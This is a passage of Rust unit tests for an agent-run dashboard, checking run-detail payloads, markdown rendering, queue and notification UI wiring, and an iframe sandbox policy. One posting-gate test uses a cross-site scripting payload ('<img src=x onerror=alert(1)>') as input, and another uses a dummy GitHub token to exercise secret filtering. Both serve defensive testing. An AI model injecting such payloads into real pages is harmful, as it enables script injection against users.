22119        let mut state = RunState::new(
22120            "/repo".into(),
22121            "main".into(),
22122            "abc".into(),
22123            "task".into(),
22124            crate::config::Config::default(),
22125        );
22126        state.status = RunStatus::Blocked;
22127        state.gate_ran = true;
22128        state.gate.push(crate::run::CommandOutcome {
22129            command: "cargo make check".into(),
22130            code: Some(1),
22131            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22132            duration_ms: 0,
22133            resource_blocked: false,
22134            ..Default::default()
22135        });
22136        let view = RunDetailView::of(
22137            state,
22138            false,
22139            crate::run::Liveness::Unknown,
22140            None,
22141            None,
22142            None,
22143        );
22144        let value = serde_json::to_value(view).unwrap();
22145        assert_eq!(
22146            value["stop_reason"],
22147            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22148        );
22149    }
22150
22151    #[test]
22152    fn the_run_detail_payload_says_whether_the_run_is_done() {
22153        // `landView` reads `run.done`; the detail response must carry it.
22154        for (status, done) in [
22155            (RunStatus::Superseded, true),
22156            (RunStatus::Blocked, true),
22157            (RunStatus::Landing, false),
22158        ] {
22159            let mut state = RunState::new(
22160                std::path::PathBuf::from("/repo"),
22161                "main".to_owned(),
22162                "abc".to_owned(),
22163                "x".to_owned(),
22164                crate::config::Config::default(),
22165            );
22166            state.status = status;
22167            let v = serde_json::to_value(RunDetailView::of(
22168                state,
22169                false,
22170                crate::run::Liveness::Unknown,
22171                None,
22172                None,
22173                None,
22174            ))
22175            .unwrap();
22176            assert_eq!(v["done"], done, "{status:?}");
22177        }
22178    }
22179
22180    /// The first node of a markdown block holds a `strong` somewhere.
22181    fn has_strong(nodes: &[md::Node]) -> bool {
22182        serde_json::to_string(nodes).unwrap().contains("strong")
22183    }
22184
22185    #[test]
22186    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22187        let mut state = RunState::new(
22188            std::path::PathBuf::from("/repo"),
22189            "main".to_owned(),
22190            "abc".to_owned(),
22191            "x".to_owned(),
22192            crate::config::Config::default(),
22193        );
22194        let proposal = |approach: &str| {
22195            serde_json::json!({
22196                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22197            })
22198        };
22199        state.advice = Some(
22200            serde_json::from_value(serde_json::json!({
22201                "records": [
22202                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22203                     "proposal": proposal("do **this**")},
22204                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22205                ],
22206                "synthesis": "- one\n- **two**\n\n`code`",
22207            }))
22208            .unwrap(),
22209        );
22210        state.candidates = serde_json::from_value(serde_json::json!([
22211            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22212             "summary": "did **it**"},
22213            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22214        ]))
22215        .unwrap();
22216        // Recorded in ascending severity, the reverse of how the page sorts
22217        // them: the arrays must follow the record, not the display.
22218        state.reviews = serde_json::from_value(serde_json::json!([{
22219            "round": 1, "head": "h",
22220            "reviews": [{
22221                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22222                "findings": [
22223                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22224                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22225                ],
22226            }],
22227            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22228            "fix": {"agent": "a", "notes": "fixed **it**",
22229                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22230        }, {"round": 2, "head": "h2", "reviews": []}]))
22231        .unwrap();
22232
22233        let v = serde_json::to_value(RunDetailView::of(
22234            state,
22235            false,
22236            crate::run::Liveness::Unknown,
22237            None,
22238            None,
22239            None,
22240        ))
22241        .unwrap();
22242
22243        let strong = |p: &str| {
22244            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22245            assert!(n.to_string().contains("strong"), "{p}: {n}");
22246        };
22247        strong("/advice_md/synthesis");
22248        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22249        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22250        strong("/advice_md/approaches/0");
22251        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22252        strong("/candidate_summaries_md/0");
22253        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22254        strong("/reviews_md/0/reviewers/0/summary");
22255        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22256        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22257        assert!(f[1].to_string().contains("strong"));
22258        strong("/reviews_md/0/reconsideration/0");
22259        strong("/reviews_md/0/fix/notes");
22260        strong("/reviews_md/0/fix/rejected/0");
22261        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22262        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22263        // The raw strings stay, and no schema moved.
22264        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22265        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22266    }
22267
22268    #[test]
22269    fn a_run_without_advice_has_no_advice_md() {
22270        let state = RunState::new(
22271            std::path::PathBuf::from("/repo"),
22272            "main".to_owned(),
22273            "abc".to_owned(),
22274            "x".to_owned(),
22275            crate::config::Config::default(),
22276        );
22277        let p = run_prose_md(&state);
22278        assert!(p.advice_md.is_none());
22279        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22280    }
22281
22282    #[test]
22283    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22284        let store = ask::Questions::at(PathBuf::from("unused"));
22285        let gt = crate::github_text::Withheld {
22286            title: false,
22287            body: true,
22288            categories: vec!["sensitive-data".into()],
22289        };
22290        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22291        let (detail, comparison) =
22292            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22293        let mut q = Question::new(
22294            "r".into(),
22295            "github-text".into(),
22296            "posting-gate".into(),
22297            "s".into(),
22298            detail,
22299            Vec::new(),
22300        );
22301        assert!(
22302            QuestionView::of(q.clone(), &store, None)
22303                .posting_view
22304                .is_none()
22305        );
22306        q.posting_comparison = Some(comparison);
22307        let view = QuestionView::of(q.clone(), &store, None);
22308        let field = &view.posting_view.unwrap().fields[0];
22309        assert_eq!(
22310            field
22311                .original
22312                .iter()
22313                .map(|f| f.text.as_str())
22314                .collect::<String>(),
22315            body
22316        );
22317        assert!(field.original[0].text.starts_with("<img"));
22318        let original_question: Question =
22319            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22320        assert_eq!(original_question, q);
22321        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22322            .original
22323            .start = 1;
22324        assert!(
22325            QuestionView::of(q.clone(), &store, None)
22326                .posting_view
22327                .is_none()
22328        );
22329        q.posting_comparison = original_question.posting_comparison;
22330        q.detail.push_str("extra context");
22331        assert!(
22332            QuestionView::of(q.clone(), &store, None)
22333                .posting_view
22334                .is_some()
22335        );
22336        q.detail.insert(0, 'x');
22337        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22338    }
22339
22340    #[test]
22341    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22342        let store = ask::Questions::at(PathBuf::from("unused"));
22343        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22344        let gt = crate::github_text::Withheld::from_check(
22345            &crate::github_text::check("fix: x", body),
22346            "fix: x",
22347            body,
22348        )
22349        .unwrap();
22350        let (detail, comparison) =
22351            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22352        let mut q = Question::new(
22353            "r".into(),
22354            "github-text".into(),
22355            "posting-gate".into(),
22356            "s".into(),
22357            detail,
22358            Vec::new(),
22359        );
22360        q.posting_comparison = Some(comparison);
22361        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22362        let field = &value["posting_view"]["fields"][0];
22363        let group = &field["replacement_group"];
22364        let triggers = group["triggers"].as_array().unwrap();
22365        assert_eq!(triggers.len(), 2);
22366        assert_ne!(triggers[0], triggers[1]);
22367        for id in triggers {
22368            assert!(
22369                field["original"]
22370                    .as_array()
22371                    .unwrap()
22372                    .iter()
22373                    .any(|f| &f["pair"] == id)
22374            );
22375            assert!(
22376                !field["changed"]
22377                    .as_array()
22378                    .unwrap()
22379                    .iter()
22380                    .any(|f| &f["pair"] == id)
22381            );
22382        }
22383        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22384            group["id"].as_u64().unwrap() as usize;
22385        assert!(
22386            QuestionView::of(q, &store, None).posting_view.is_none(),
22387            "group and trigger IDs cannot collide"
22388        );
22389    }
22390
22391    #[test]
22392    fn a_question_view_carries_markdown_for_each_thread_turn() {
22393        let home = TempDir::new().unwrap();
22394        let store = ask::Questions::at(home.path().join("questions"));
22395        let mut q = Question::new(
22396            "run".to_owned(),
22397            "implement".to_owned(),
22398            "impl-A".to_owned(),
22399            "which?".to_owned(),
22400            String::new(),
22401            Vec::new(),
22402        );
22403        q.say("plain words").unwrap();
22404        q.reply("use **this**", Vec::new()).unwrap();
22405        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22406        let bodies = &v["thread_bodies_md"];
22407        assert_eq!(bodies.as_array().unwrap().len(), 2);
22408        assert!(!bodies[0].to_string().contains("strong"));
22409        assert!(bodies[1].to_string().contains("strong"));
22410    }
22411
22412    #[test]
22413    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22414        let home = TempDir::new().unwrap();
22415        let store = ask::Questions::at(home.path().join("questions"));
22416        let mut q = Question::new(
22417            "run".to_owned(),
22418            "conduct".to_owned(),
22419            "conduct".to_owned(),
22420            "which?".to_owned(),
22421            String::new(),
22422            Vec::new(),
22423        );
22424        q.say("plain words").unwrap();
22425        q.thread.push(ask::Turn {
22426            who: ask::Who::Agent,
22427            body: "Settled as `merge`".to_owned(),
22428            at: jiff::Timestamp::now(),
22429            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22430        });
22431        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22432        let notes = &v["thread_notes_md"];
22433        assert_eq!(notes.as_array().unwrap().len(), 2);
22434        assert!(notes[0].is_null());
22435        let text = notes[1].to_string();
22436        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22437        assert!(APP_JS.contains("ask-turn-note"));
22438    }
22439
22440    #[test]
22441    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22442        // The land panel defers to `run.status` for merged, and labels a
22443        // recorded-open PR on any finished run (superseded, blocked, ...) as
22444        // last seen, never as live state.
22445        assert!(APP_JS.contains("function landView(run, raw) {"));
22446        assert!(
22447            APP_JS.contains(
22448                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22449            )
22450        );
22451        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22452        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22453        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22454        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22455    }
22456
22457    #[test]
22458    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22459        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22460        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22461        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22462        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22463    }
22464
22465    #[test]
22466    fn review_rounds_label_a_distinct_verified_head() {
22467        assert!(APP_JS.contains("round.verified_head"));
22468        assert!(APP_JS.contains("verified HEAD"));
22469        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22470    }
22471
22472    #[test]
22473    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22474        // A blocked task's chip and note must not fall back to a queued-like
22475        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22476        // itself by e11fc58 but never checked here.
22477        assert!(APP_JS.contains("blocked: { glyph:"));
22478        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22479
22480        // `blocked_by` mixes task ids and question ids in the same list, and
22481        // the client can only tell them apart by checking each id against
22482        // what it actually knows - never by guessing from the id's shape.
22483        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22484        assert!(
22485            APP_JS.contains(
22486                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22487            ),
22488            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22489        );
22490        // The classification must key off `status_str`, never off `blocked_by`
22491        // or `block_reason` merely being present - both can survive briefly
22492        // on a task a hold or a dead daemon just moved off `blocked`.
22493        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22494
22495        // A question a task is blocked on gets its own node in the same
22496        // dependency graph, not just a task-shaped node with nothing known
22497        // about it. The web_render browser test checks the actual destination.
22498        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22499        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22500
22501        // `Task::answers` - decisions already made - are shown as a record on
22502        // the card, the same disclosure style as the full instruction.
22503        assert!(APP_JS.contains("Resolved questions"));
22504        assert!(APP_JS.contains("r.answersList.append("));
22505        assert!(APP_CSS.contains(".task-answers"));
22506        {
22507            let start = APP_JS
22508                .find("function updateTalkTaskRow")
22509                .expect("updateTalkTaskRow");
22510            let body = &APP_JS[start..];
22511            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22512            assert!(
22513                body.contains(
22514                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22515                ),
22516                "a chat-filed task row must link to the task page"
22517            );
22518            assert!(
22519                !body.contains("#/runs/") && !body.contains("#/queue/"),
22520                "the row must not branch to a run or the queue card"
22521            );
22522            assert!(APP_CSS.contains(".talk-task-link"));
22523        }
22524    }
22525
22526    #[test]
22527    fn a_task_notification_links_to_the_task_page() {
22528        // A task notice opens the task detail page, not the Backlog card.
22529        let start = APP_JS
22530            .find("function noticeLink(")
22531            .expect("noticeLink exists");
22532        let body = &APP_JS[start..];
22533        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22534        assert!(
22535            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22536            "a task notice's link must target the task page"
22537        );
22538        assert!(
22539            !body.contains("#/queue/"),
22540            "regression: the task link must not go back to the Backlog route"
22541        );
22542        assert!(
22543            APP_JS.contains(
22544                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22545            ),
22546            "`#/tasks/<id>` must parse into the task route"
22547        );
22548
22549        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22550        assert!(
22551            APP_JS.contains(
22552                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22553            ),
22554            "`#/queue/<id>` must parse into a route carrying that id"
22555        );
22556
22557        // And the Backlog view has to actually land on the card once it can
22558        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22559        // so a focus set before the queue has loaded is retried once it has.
22560        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22561        assert!(APP_JS.contains("function consumeQueueFocus()"));
22562        assert!(APP_JS.contains("jumpToTask(id)"));
22563    }
22564
22565    #[test]
22566    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22567        let start = APP_JS
22568            .find("function noticeCoveredBy(")
22569            .expect("noticeCoveredBy exists");
22570        let body = &APP_JS[start..];
22571        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22572
22573        // Historical associations are informational, even for open questions.
22574        assert!(body.contains("Associated question ${short}"));
22575        assert!(!body.contains("el(\"a\""));
22576
22577        // A resolved question displays status rather than an actionable link
22578        assert!(body.contains("(resolved)"));
22579        assert!(body.contains("(closed)"));
22580
22581        let start = APP_JS
22582            .find("function renderNotifications()")
22583            .expect("renderNotifications exists");
22584        let body = &APP_JS[start..];
22585        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22586
22587        // Only a server-resolved answerable question supplies a response link.
22588        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22589        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22590        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22591        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22592    }
22593
22594    /// Chat rows are two lines at every width: the title alone, then the
22595    /// shrinkable secondary info.
22596    #[test]
22597    fn chat_rows_put_the_title_alone_on_the_first_line() {
22598        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22599        assert!(APP_CSS.contains(
22600            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22601        ));
22602        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22603        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22604    }
22605
22606    #[test]
22607    fn run_rows_put_the_title_alone_on_the_first_line() {
22608        assert!(
22609            APP_CSS.contains(
22610                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22611            )
22612        );
22613        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22614        assert!(APP_JS.contains("class: \"card run-card\""));
22615        assert!(APP_JS.contains("class: \"repo run-id\""));
22616    }
22617
22618    /// Wide screens get a master/detail layout built from the views a phone
22619    /// drills into. These are string assertions: they pin the contract between
22620    /// the three assets, not how it looks.
22621    #[test]
22622    fn wide_screens_show_list_and_preview_side_by_side() {
22623        // One breakpoint, spelled the same in the script and the stylesheet.
22624        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22625        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22626        assert!(APP_CSS.contains("main[data-split]"));
22627        assert!(APP_CSS.contains("body[data-split]"));
22628
22629        // The route -> panes table, and a narrow screen opting out of it.
22630        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22631        assert!(
22632            APP_JS.contains(
22633                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22634            )
22635        );
22636        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22637        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22638        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22639
22640        // Selection is derived from the route, and only ever paints a row.
22641        assert!(APP_JS.contains("function markSelected() {"));
22642        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22643        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22644        // The dense row must override the stacked card the 720px block sets up.
22645        assert!(
22646            APP_CSS.contains(
22647                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22648            )
22649        );
22650
22651        // Independent scrolling: the page stops scrolling, each pane does.
22652        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22653        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22654        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22655        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22656
22657        // A refresh must never navigate: the loaders still check that their
22658        // subject is the one on screen, and crossing the breakpoint only
22659        // re-reads the hash.
22660        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22661        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22662        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22663        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22664
22665        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22666        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22667    }
22668
22669    #[test]
22670    fn panel_sandbox_carries_exactly_popups() {
22671        let needle = "sandbox: \"";
22672        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22673        assert_eq!(
22674            matches.len(),
22675            1,
22676            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22677        );
22678        let start = matches[0].0 + needle.len();
22679        let end = APP_JS[start..]
22680            .find('"')
22681            .expect("sandbox attribute value must be terminated by a closing quote");
22682        let val = &APP_JS[start..start + end];
22683        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22684        let expected: std::collections::BTreeSet<&str> =
22685            ["allow-popups", "allow-popups-to-escape-sandbox"]
22686                .into_iter()
22687                .collect();
22688        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22689        assert!(
22690            !tokens.contains("allow-scripts"),
22691            "allow-scripts must never be present in sandbox"
22692        );
22693        assert!(
22694            !tokens.contains("allow-same-origin"),
22695            "allow-same-origin must never be present in sandbox"
22696        );
22697    }
22698
22699    #[test]
22700    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22701        // consumeQueueFocus() clears an active Backlog search before it can
22702        // scroll to the target card (the sections list is hidden while a
22703        // search is showing), by recursing back into renderQueue(). The
22704        // fixer's first cut nulled state.queueFocus before that recursive
22705        // call, so the second pass saw nothing to jump to and the jump was
22706        // silently dropped whenever a notification's link was opened with a
22707        // stale search still active. state.queueFocus must only be cleared
22708        // right before jumpToTask() actually runs.
22709        assert!(
22710            APP_JS.contains(
22711                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22712            ),
22713            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22714             recursive renderQueue() call has nothing left to jump to"
22715        );
22716        assert!(
22717            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22718            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22719             arrives later still gets it"
22720        );
22721        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22722        assert!(APP_JS.contains("is not in the current Backlog."));
22723        assert!(APP_JS.contains("li.card[data-task-id=\""));
22724        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22725        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22726        assert!(APP_CSS.contains(".card-permalink"));
22727        assert!(APP_CSS.contains(".queue-focus-status"));
22728        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22729    }
22730
22731    #[test]
22732    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22733        // The task's own repro: only the link text inside .notice-meta was
22734        // clickable, so a tap on the message, the timestamp, or the card's
22735        // padding did nothing - on a phone that reads as "the card doesn't
22736        // work" even though the tiny link inside it did. Mark read / Dismiss
22737        // must keep working independently of this: `.closest("a, button")`
22738        // is what lets a tap that actually lands on those elements fall
22739        // through instead of being hijacked into a navigation.
22740        assert!(
22741            APP_JS.contains(
22742                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22743            ),
22744            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22745        );
22746    }
22747
22748    #[test]
22749    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22750        assert!(
22751            APP_JS.contains("round.verified_head !== round.head"),
22752            "a round that verified an earlier commit must be visibly distinct from one that \
22753             verified the head reviewers are looking at now"
22754        );
22755        assert!(
22756            APP_JS.contains("round.verified_at"),
22757            "when a check ran must be on the wire, not just which commit"
22758        );
22759        assert!(
22760            APP_JS.contains("resource_blocked"),
22761            "a command magi never got to run (shared build cache contention) must not render \
22762             the same as a command that ran and failed"
22763        );
22764    }
22765
22766    #[test]
22767    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22768        // Every KPI tile but Total runs and Completion names an exact
22769        // RunStatus and hands it to openRunsFiltered(), which is what wires
22770        // the click into state.runsFilter.status (matchesFilter's own
22771        // status check) rather than the coarser runsStateFilter chips. Each
22772        // status literal here must be one of the strings runSection() (and
22773        // isStale()) actually compare a run's own `status` field against -
22774        // a status this dashboard invented would filter to nothing.
22775        assert!(
22776            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22777            "every KPI tile built through statusTile() must route its click through \
22778             openRunsFiltered, the single place that sets the Runs filter"
22779        );
22780        for (label, status) in [
22781            ("Merged", "merged"),
22782            ("Ready", "ready"),
22783            ("Blocked", "blocked"),
22784            ("Stalled", "stalled"),
22785        ] {
22786            let call = format!("statusTile(\"{label}\", t.{status}, ");
22787            assert!(
22788                APP_JS.contains(&call),
22789                "expected the {label} KPI tile built via {call}..."
22790            );
22791            assert!(
22792                APP_JS.contains(&format!("status === \"{status}\"")),
22793                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22794                 compare a run against, not one invented only for the stats tile"
22795            );
22796        }
22797        assert!(
22798            APP_JS.contains("function openRunsFiltered(status)"),
22799            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22800        );
22801        assert!(
22802            APP_JS.contains(
22803                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22804            ),
22805            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22806        );
22807        // applyRoute() only flips which view is visible for a plain `#runs`
22808        // hash - it does not itself redraw the list (see applyRoute's own
22809        // handling below) - so openRunsFiltered must call renderRuns()
22810        // itself, and must call applyRoute() too so the view flips even
22811        // when the hash string doesn't change (the operator may already be
22812        // on the Runs view when a tile is tapped, which fires no
22813        // hashchange event at all).
22814        assert!(
22815            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22816            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22817             hashchange event that may never fire"
22818        );
22819    }
22820
22821    #[test]
22822    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22823        // A stats tile can leave state.runsFilter.status set to something
22824        // done-by-construction (e.g. "merged") - picking "Active" afterward
22825        // must drop it the same way an incompatible tree section is already
22826        // dropped, or the Runs list renders permanently empty with no way
22827        // for the operator to tell why.
22828        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22829        assert!(
22830            APP_JS.contains(
22831                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22832            ),
22833            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22834             guard for an incompatible tree section"
22835        );
22836    }
22837
22838    #[test]
22839    fn every_stats_queue_tile_names_a_real_queue_section() {
22840        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22841        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22842        // (consumeQueueSectionFocus finds no matching <details> and drops
22843        // the focus) rather than fail loudly, so pin every key against the
22844        // section list it has to resolve against.
22845        assert!(
22846            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22847            "every queue tile built through sectionTile() must route its click through \
22848             openQueueSectionFocus"
22849        );
22850        for key in ["upnext", "running", "done", "held", "blocked"] {
22851            assert!(
22852                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22853                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22854            );
22855        }
22856        // Queued and Failed intentionally both resolve to "upnext" - the
22857        // same section queueSection() itself files them under - rather than
22858        // getting a section each.
22859        for line in [
22860            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22861            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22862            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22863            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22864            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22865            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22866        ] {
22867            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22868        }
22869    }
22870
22871    #[test]
22872    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22873        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22874        // above for the section-focus channel a stats queue tile drives:
22875        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22876        // through the stale-search-clear recursion into renderQueue(), and
22877        // clear it only once revealQueueSection() is actually about to run -
22878        // the same trap that once silently dropped a task-focus jump.
22879        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22880        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22881        assert!(APP_JS.contains("function revealQueueSection(details)"));
22882        assert!(
22883            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22884            "renderQueue() must consume both focus channels on every pass"
22885        );
22886        assert!(
22887            APP_JS.contains(
22888                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22889            ),
22890            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22891             the recursive renderQueue() call has nothing left to reveal"
22892        );
22893        assert!(
22894            APP_JS.contains(
22895                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22896            ),
22897            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22898        );
22899        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22900        // task-focus form of the hash - a plain `#queue` navigation only
22901        // flips which view is visible. openQueueSectionFocus() must
22902        // therefore call renderQueue() itself, and applyRoute() too so the
22903        // view flips even when the hash doesn't change (the Backlog may
22904        // already be open when a tile is tapped, firing no hashchange
